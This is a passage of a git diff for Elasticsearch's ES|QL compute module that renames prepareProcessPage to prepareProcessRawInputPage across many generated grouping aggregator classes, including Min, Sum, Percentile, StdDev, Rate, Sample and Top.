+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationFloatGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     FloatBlock valuesBlock = page.getBlock(channels.get(0));
     FloatVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationIntGroupingAggregatorFunction.java
index f9b9934520f06..0d9433f12a379 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationIntGroupingAggregatorFunction.java
@@ -57,7 +57,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationLongGroupingAggregatorFunction.java
index e1693d7475c6f..c14901d857379 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MedianAbsoluteDeviationLongGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinBooleanGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinBooleanGroupingAggregatorFunction.java
index 4ca346913a25b..145cf4412c88a 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinBooleanGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinBooleanGroupingAggregatorFunction.java
@@ -56,7 +56,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BooleanBlock valuesBlock = page.getBlock(channels.get(0));
     BooleanVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinBytesRefGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinBytesRefGroupingAggregatorFunction.java
index dc721573876ab..92f79d5491ca6 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinBytesRefGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinBytesRefGroupingAggregatorFunction.java
@@ -59,7 +59,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinDoubleGroupingAggregatorFunction.java
index 3212ca644aee7..d810b06eb310e 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinDoubleGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinFloatGroupingAggregatorFunction.java
index 2e7b089e7592a..a7a5e0141fcc8 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinFloatGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinFloatGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     FloatBlock valuesBlock = page.getBlock(channels.get(0));
     FloatVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinIntGroupingAggregatorFunction.java
index 50c5e80a55b0c..3148f36936404 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinIntGroupingAggregatorFunction.java
@@ -57,7 +57,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinIpGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinIpGroupingAggregatorFunction.java
index c89c1feb6790f..1dcb89c4fca55 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinIpGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinIpGroupingAggregatorFunction.java
@@ -59,7 +59,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinLongGroupingAggregatorFunction.java
index dc92d712ddb6a..a16cd68432e8d 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/MinLongGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileDoubleGroupingAggregatorFunction.java
index 1264bff20abf6..6ad6afb6bf8a8 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileDoubleGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileFloatGroupingAggregatorFunction.java
index f844efae8d218..0af4b60c73a64 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileFloatGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileFloatGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     FloatBlock valuesBlock = page.getBlock(channels.get(0));
     FloatVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileIntGroupingAggregatorFunction.java
index e0dd21ecc80d1..f9a754cc6a7b8 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileIntGroupingAggregatorFunction.java
@@ -60,7 +60,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileLongGroupingAggregatorFunction.java
index 1baa4a662175c..b71c068bc72b8 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/PercentileLongGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateDoubleGroupingAggregatorFunction.java
index 25923bf02a761..654b92f53441f 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateDoubleGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateFloatGroupingAggregatorFunction.java
index 7dbe1a2de02bd..a9a577e63a289 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateFloatGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateFloatGroupingAggregatorFunction.java
@@ -63,7 +63,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     FloatBlock valuesBlock = page.getBlock(channels.get(0));
     FloatVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateIntGroupingAggregatorFunction.java
index 4650ebf0c5bb2..e6c813635a4f8 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateIntGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateLongGroupingAggregatorFunction.java
index a219a58068ea0..7c2a2f61ca79b 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/RateLongGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleBooleanGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleBooleanGroupingAggregatorFunction.java
index cec8ea8b6c21a..aac76b70397c7 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleBooleanGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleBooleanGroupingAggregatorFunction.java
@@ -60,7 +60,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BooleanBlock valuesBlock = page.getBlock(channels.get(0));
     BooleanVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleBytesRefGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleBytesRefGroupingAggregatorFunction.java
index 60e38edd06d1f..f9b439507a09e 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleBytesRefGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleBytesRefGroupingAggregatorFunction.java
@@ -59,7 +59,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     BytesRefBlock valuesBlock = page.getBlock(channels.get(0));
     BytesRefVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleDoubleGroupingAggregatorFunction.java
index cd76527394432..a901a4ed385a0 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleDoubleGroupingAggregatorFunction.java
@@ -60,7 +60,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleIntGroupingAggregatorFunction.java
index b2cf3114fa951..68f7a7d83b414 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleIntGroupingAggregatorFunction.java
@@ -59,7 +59,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleLongGroupingAggregatorFunction.java
index afb1e94a23f5a..9003fa0f18e1a 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SampleLongGroupingAggregatorFunction.java
@@ -60,7 +60,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevDoubleGroupingAggregatorFunction.java
index 7cf0ab3e7b148..fc8a09f0400df 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevDoubleGroupingAggregatorFunction.java
@@ -59,7 +59,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevFloatGroupingAggregatorFunction.java
index e3bbbb5d4d624..f1cb0acbd13ee 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevFloatGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevFloatGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     FloatBlock valuesBlock = page.getBlock(channels.get(0));
     FloatVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevIntGroupingAggregatorFunction.java
index b0c780b232fe7..96f50bc1dc4a7 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevIntGroupingAggregatorFunction.java
@@ -60,7 +60,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevLongGroupingAggregatorFunction.java
index 7e33a0c70c145..4a9e201d9a24c 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/StdDevLongGroupingAggregatorFunction.java
@@ -59,7 +59,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumDoubleGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumDoubleGroupingAggregatorFunction.java
index 303bb3d0ff5dc..20ad84b38062a 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumDoubleGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumDoubleGroupingAggregatorFunction.java
@@ -59,7 +59,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     DoubleBlock valuesBlock = page.getBlock(channels.get(0));
     DoubleVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumFloatGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumFloatGroupingAggregatorFunction.java
index 154057db5f462..84839289c5dad 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumFloatGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumFloatGroupingAggregatorFunction.java
@@ -61,7 +61,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     FloatBlock valuesBlock = page.getBlock(channels.get(0));
     FloatVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumIntGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumIntGroupingAggregatorFunction.java
index 9b5cba8cd5a89..a4da0af4aaf2e 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumIntGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumIntGroupingAggregatorFunction.java
@@ -59,7 +59,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     IntBlock valuesBlock = page.getBlock(channels.get(0));
     IntVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumLongGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumLongGroupingAggregatorFunction.java
index a2969a4dddaa8..84c81abad299b 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumLongGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/SumLongGroupingAggregatorFunction.java
@@ -58,7 +58,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
+  public GroupingAggregatorFunction.AddInput prepareProcessRawInputPage(SeenGroupIds seenGroupIds,
       Page page) {
     LongBlock valuesBlock = page.getBlock(channels.get(0));
     LongVector valuesVector = valuesBlock.asVector();
diff --git a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopBooleanGroupingAggregatorFunction.java b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopBooleanGroupingAggregatorFunction.java
index 1fa211364cfcc..1746fae25bd7f 100644
--- a/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopBooleanGroupingAggregatorFunction.java
+++ b/x-pack/plugin/esql/compute/src/main/generated/org/elasticsearch/compute/aggregation/TopBooleanGroupingAggregatorFunction.java
@@ -62,7 +62,7 @@ public int intermediateBlockCount() {
   }
 
   @Override
-  public GroupingAggregatorFunction.AddInput prepareProcessPage(SeenGroupIds seenGroupIds,
